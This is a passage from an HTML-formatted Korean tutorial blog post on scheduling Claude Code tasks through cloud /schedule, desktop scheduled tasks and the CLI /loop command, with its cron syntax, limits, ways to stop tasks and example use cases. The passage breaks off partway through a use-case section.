  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;빈도&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Hourly&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;매시간 실행&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Daily&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;하루 1회, 지정 시간 (기본 오전 9시 로컬)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Weekdays&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Daily와 동일하되 토/일 제외&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Weekly&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;주 1회, 지정 요일과 시간&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;매 2시간&quot; 같은 커스텀 간격이 필요하면 가장 가까운 프리셋을 선택한 뒤
    &lt;code&gt;/schedule update&lt;/code&gt;로 조정한다.
  &lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크도 실행 시점에 약간의 지연(deterministic stagger)이 있어 정확히 정시에 시작되지
    않을 수 있다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;빈도별 한 줄 예시&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;/schedule hourly: GitHub Actions 실패 여부를 확인하고 실패 시 보고해라.
/schedule daily at 9am: 열린 PR을 검토하고 요약 코멘트를 달아라.
/schedule weekdays at 8:30am: 의존성에 새 보안 취약점이 있는지 스캔해라.
/schedule weekly on Monday at 10am: 주간 코드 품질 리포트를 생성해라.&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리포지토리와 브랜치
    규칙&lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;매 실행마다 리포지토리를 &lt;b&gt;fresh clone&lt;/b&gt;한다 (기본 브랜치 기준)&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Claude가 push할 수 있는 브랜치는 기본적으로 &lt;b&gt;&lt;code&gt;claude/&lt;/code&gt; 접두사&lt;/b&gt;가 붙은 것만 허용&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;리포별 &quot;Allow unrestricted branch pushes&quot;를 켜면 이 제한을 해제할 수 있다&lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;브랜치 제한은 안전장치다&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크는 권한 프롬프트 없이 자율 실행되므로, &lt;code&gt;claude/&lt;/code&gt; 접두사 제한이
      main에 직접 push하는 사고를 방지한다. 무제한 push를 켤 때는 신중해야 한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커넥터와 환경&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cloud 태스크는 MCP 커넥터(Slack, Linear, Google Drive 등)를 사용할 수 있다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claude.ai&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;claude.ai&lt;/a&gt;의 Settings &amp;gt; Connectors에서 연결된 모든 커넥터가 기본 포함된다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 태스크는 네트워크 접근, 환경변수, 셋업 스크립트를 제어하는 &quot;환경(Environment)&quot;에서 실행된다.
  &lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cloud 태스크
    중단하기&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 등록된 태스크 목록 확인
/schedule list

# 태스크 수정 · 삭제 (대화형으로 선택)
/schedule update&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;웹에서 중단하려면 &lt;a href=&quot;https://claude.ai/code/scheduled&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.ai/code/scheduled&lt;/a&gt;에 접속해 태스크를 선택하고 &lt;b&gt;Delete&lt;/b&gt;를 누른다. Desktop 앱에서는 사이드바
    Schedule 페이지에서 해당 태스크를 클릭한 뒤 삭제한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 3 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Desktop Scheduled Tasks&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;로컬 vs 리모트
  &lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱에서는 두 종류의 태스크를 만들 수 있다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;로컬 태스크&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;리모트 태스크&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;실행 위치&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;내 머신&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 클라우드&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;파일 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;로컬 파일/도구 직접 접근&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;fresh clone만&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;앱 필요?&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;예 (열려 있어야)&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;아니오&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;권한과 실행 조건
  &lt;/h3&gt;
  &lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;각 태스크마다 독립적인 권한 모드 설정 가능&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;의 allow 규칙이 적용됨&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Ask 모드에서 승인 안 된 도구를 쓰면 &lt;b&gt;실행이 멈춤&lt;/b&gt; &amp;rarr; 사용자가 승인해야 진행&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;태스크 프롬프트는 &lt;code&gt;~/.claude/scheduled-tasks/&amp;lt;task-name&amp;gt;/SKILL.md&lt;/code&gt;에 저장됨
    &lt;/li&gt;
  &lt;/ul&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;팁: 첫 실행 시 &quot;Run now&quot; 클릭&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;태스크를 만든 직후 &quot;Run now&quot;로 한 번 실행하고, 필요한 도구에 &quot;always allow&quot;를 설정하면 이후
      자동 실행 시 멈추지 않는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앱이 닫혀 있거나 컴퓨터가 잠들면 실행이 밀린다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다시 열면 &lt;b&gt;최근 7일 내 놓친 실행 중 가장 마지막 1회&lt;/b&gt;만 자동으로 실행한다 (여러 번 놓쳐도
    1회만).&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 태스크 생성 시 주요 필드는 다음과 같다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;필드&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Name&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;소문자 kebab-case로 변환. 디스크 폴더명으로 사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Description&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;태스크 목록에 표시되는 요약&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Prompt&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Claude에게 보내는 지시. 모델, 권한 모드, 워킹 폴더, 워크트리 설정 포함&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Frequency&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Manual / Hourly / Daily / Weekdays / Weekly. 커스텀은 자연어로 요청
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 태스크 실행에는 &lt;b&gt;최대 10분의 고정 지연&lt;/b&gt;이 추가된다 (태스크 ID 기반, 매번 동일). 정각에
    정확히 실행되지 않는다는 점을 감안해야 한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;Desktop은 uncommitted 변경사항도 본다&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 태스크는 현재 워킹 디렉토리 상태를 그대로 사용한다. 커밋하지 않은 변경사항도 포함된다. 작업 중인 코드에
      태스크가 영향을 주지 않도록 하려면, 태스크 생성 시 &lt;b&gt;워크트리 격리&lt;/b&gt;를 켜는 것을 권장한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f0e8ff; border-left: 4px solid #7c3aed; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;Desktop 태스크 프롬프트 — 이런 느낌이다&lt;/b&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 12px 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
      &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 매일 오전 9시 — 로컬 파일을 직접 읽고 쓴다
~/projects/my-app 폴더에서 어제 추가된 TODO 주석을 찾아
~/Documents/todo-report.md 파일에 날짜별로 정리해 추가해라.&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;Cloud 태스크는 매번 git clone만 하지만, Desktop 태스크는 이처럼
      &lt;code&gt;~/projects/&lt;/code&gt; 같은 로컬 경로를 직접 읽고 쓸 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Desktop 태스크
    중단하기&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Desktop 앱 사이드바 &lt;b&gt;Schedule 페이지&lt;/b&gt;에서 해당 태스크를 클릭하고 삭제하면 된다. 실행 중인
    태스크를 즉시 멈추려면 해당 실행 세션을 열고 &lt;b&gt;Esc&lt;/b&gt;를 누른다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 태스크 프롬프트 파일을 삭제해도 이후 실행이 중단된다
rm ~/.claude/scheduled-tasks/&amp;lt;task-name&amp;gt;/SKILL.md&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 4 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. CLI /loop (세션 내 반복)&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;문법과 예시&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;은 현재 세션 안에서 프롬프트를 반복 실행하는 번들 스킬이다. 가장 가볍지만 세션을
    닫으면 사라진다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 5분마다 배포 상태 확인
/loop 5m check if the deployment finished and tell me what happened

# 30분마다 빌드 체크
/loop 30m check the build

# 자연어로 간격 지정
/loop check the build every 2 hours

# 간격 생략 시 기본 10분
/loop check the build

# 다른 스킬/명령어를 반복
/loop 20m /review-pr 1234

# 일회성 리마인더 (자연어)
remind me at 3pm to push the release branch
in 45 minutes, check whether the integration tests passed&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지원 단위&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;표기&lt;/th&gt;
        &lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;초&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;30s&lt;/code&gt; (1분으로 올림)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;분&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;m&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;5m&lt;/code&gt;, &lt;code&gt;30m&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;시간&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;h&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;2h&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;일&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;d&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;1d&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;cron 도구
    (CronCreate / CronList / CronDelete)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/loop&lt;/code&gt;의 내부에서는 3가지 cron 도구가 동작한다. 표준 5필드 cron 표현식을
    사용한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# cron 표현식 예시
*/5 * * * *     # 매 5분
0 * * * *       # 매시 정각
0 9 * * *       # 매일 오전 9시
0 9 * * 1-5     # 평일 오전 9시
30 14 15 3 *    # 3월 15일 오후 2:30&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;/loop의 핵심 제약&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;세션당 최대 50개 태스크&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반복 태스크는 &lt;b&gt;3일 후 자동 만료&lt;/b&gt; (마지막 1회 실행 후 삭제)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude가 응답 중이면 대기 (중간에 끼어들지 않음)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;놓친 실행은 캐치업 없음 (1회만 실행)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;확장 구문 (&lt;code&gt;L&lt;/code&gt;, &lt;code&gt;W&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, &lt;code&gt;MON&lt;/code&gt;,
        &lt;code&gt;JAN&lt;/code&gt;) 미지원
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;cron에서 day-of-month와 day-of-week를 동시 지정하면 &lt;b&gt;OR 시맨틱스&lt;/b&gt;로 동작 (둘 중 하나만 매칭돼도 실행).
        의도치 않은 실행 주의&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;반복 태스크에 &lt;b&gt;jitter&lt;/b&gt;: 간격의 최대 10% (상한 15분)만큼 늦게 실행될 수 있음. 정각(:00)·30분(:30)에 예약된 일회성 태스크는 최대 90초 일찍 실행
        가능. (태스크 ID 기반, 결정적)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/loop 중단하기
  &lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;# 방법 1: 실행 중 즉시 중단
# Claude 응답 대기 중 Esc 키 (또는 터미널 Ctrl+C)

# 방법 2: 특정 루프 삭제 — Claude에게 자연어로 요청
&quot;/loop으로 만든 5분 체크 태스크 삭제해줘&quot;
# → Claude가 내부적으로 CronDelete 도구를 실행

# 방법 3: 세션의 모든 /loop 비활성화
export CLAUDE_CODE_DISABLE_CRON=1

# 방법 4: 세션 종료 — /loop 태스크는 세션과 함께 자동 소멸
exit&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 12px 18px; margin: -10px 0 20px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;
    &lt;b&gt;가장 빠른 방법:&lt;/b&gt; Claude에게 &lt;code&gt;&quot;지금 돌고 있는 /loop 멈춰줘&quot;&lt;/code&gt;라고 말하면 CronDelete로 해당 태스크를 즉시 삭제한다.
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 5 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 활용 사례&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이미 공유된 활용 사례를 정리해 보았다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 1: CI 실패
    자동 해결 (Anthropic 내부)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 공식 발표에서 언급한 내부 사용 사례이다. CI가 실패하면 Claude가 자동으로 원인을
    분석하고 수정 PR을 만든다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# Cloud 태스크 예시: CI 실패 시 자동 수정
/schedule check CI status hourly. If any tests are failing,
analyze the failure, create a fix, run the tests locally,
and open a PR to the claude/ci-fix branch.&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사례 2: Go 트윈
    라이브러리 자동 유지보수 (@noahzweben)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 엔지니어 @noahzweben이 X에서 공유한 사례이다. 활발하게 개발 중인 Python
    라이브러리와 동기화되는 Go 라이브러리를 Claude 스케줄 잡이 자동으로 유지보수한다.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;왜 이것이 강력한가&lt;/b&gt;&lt;br /&gt;
